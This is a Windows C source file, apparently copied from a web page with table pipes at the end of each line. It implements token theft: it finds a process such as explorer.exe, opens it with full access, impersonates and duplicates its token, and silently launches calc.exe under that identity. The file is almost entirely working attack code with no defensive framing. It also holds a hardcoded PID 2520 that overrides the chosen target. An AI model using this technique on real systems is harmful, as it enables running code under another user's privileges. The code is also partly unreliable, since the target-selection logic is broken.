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#ifndef UNICODE | |
#define UNICODE | |
#endif | |
#include <Windows.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <Psapi.h> | |
void perror(DWORD nStatus) | |
{ | |
LPVOID lpMsgBuf; | |
FormatMessage( | |
FORMAT_MESSAGE_ALLOCATE_BUFFER | | |
FORMAT_MESSAGE_FROM_SYSTEM | | |
FORMAT_MESSAGE_IGNORE_INSERTS, | |
NULL, | |
nStatus, | |
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), | |
(LPTSTR)&lpMsgBuf, | |
0, NULL); | |
wprintf(L"[-] %6d %s\n", nStatus, lpMsgBuf); | |
if (lpMsgBuf) { | |
LocalFree(lpMsgBuf); | |
} | |
} | |
int str_ends_with(TCHAR * str, TCHAR * suffix) | |
{ | |
if (str == NULL || suffix == NULL) | |
{ | |
return 0; | |
} | |
size_t str_len = wcslen(str); | |
size_t suffix_len = wcslen(suffix); | |
if (suffix_len > str_len) | |
{ | |
return 0; | |
} | |
return 0 == wcscmp(str + str_len - suffix_len, suffix); | |
} | |
int start_process(int PID) | |
{ | |
TCHAR cmd[512] = TEXT("calc.exe"); | |
STARTUPINFO startup_info; | |
PROCESS_INFORMATION process_information; | |
SECURITY_IMPERSONATION_LEVEL impLevel = SecurityImpersonation; | |
LPVOID pEnvironment; | |
HANDLE hProc = NULL; | |
HANDLE hToken = NULL; | |
HANDLE hTokenDup = NULL; | |
ZeroMemory(&startup_info, sizeof(startup_info)); | |
startup_info.cb = sizeof(startup_info); | |
ZeroMemory(&process_information, sizeof(process_information)); | |
ZeroMemory(&pEnvironment, sizeof(pEnvironment)); | |
hProc = OpenProcess(GENERIC_ALL, FALSE, 2520); | |
//perror(GetLastError()); | |
OpenProcessToken(hProc, GENERIC_ALL, &hToken); | |
//perror(GetLastError()); | |
ImpersonateLoggedOnUser(hToken); | |
//perror(GetLastError()); | |
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, impLevel, TokenPrimary, &hTokenDup); | |
//perror(GetLastError()); | |
CreateProcessAsUser(hTokenDup, NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, &pEnvironment, NULL, &startup_info, &process_information); | |
//perror(GetLastError()); | |
return 0; | |
} | |
int find(TCHAR *name) | |
{ | |
//wprintf(TEXT("Looking for %s\n"), name); | |
DWORD aProcesses[1024], cbNeeded, cProcesses; | |
unsigned int i; | |
HANDLE hProcessEnum; | |
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>"); | |
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) | |
{ | |
return 1; | |
} | |
cProcesses = cbNeeded / sizeof(DWORD); | |
for (i = 0; i < cProcesses; i++) | |
{ | |
if (aProcesses[i] != 0) | |
{ | |
hProcessEnum = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]); | |
if (NULL != hProcessEnum) | |
{ | |
GetProcessImageFileName(hProcessEnum, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); | |
if (str_ends_with(szProcessName, name)) | |
{ | |
//wprintf(TEXT("[+] %d -\t%s\n"), aProcesses[i], szProcessName); | |
start_process(aProcesses[i]); | |
} | |
} | |
} | |
} | |
return 0; | |
} | |
int wmain(int argc, TCHAR * argv[]) | |
{ | |
if (argc > 1 && argv[1]) | |
{ | |
find(argv[1]); | |
//sperror(GetLastError()); | |
} | |
else | |
{ | |
find(TEXT("explorer.exe")); | |
//perror(GetLastError()); | |
} | |
return 0; | |
} |
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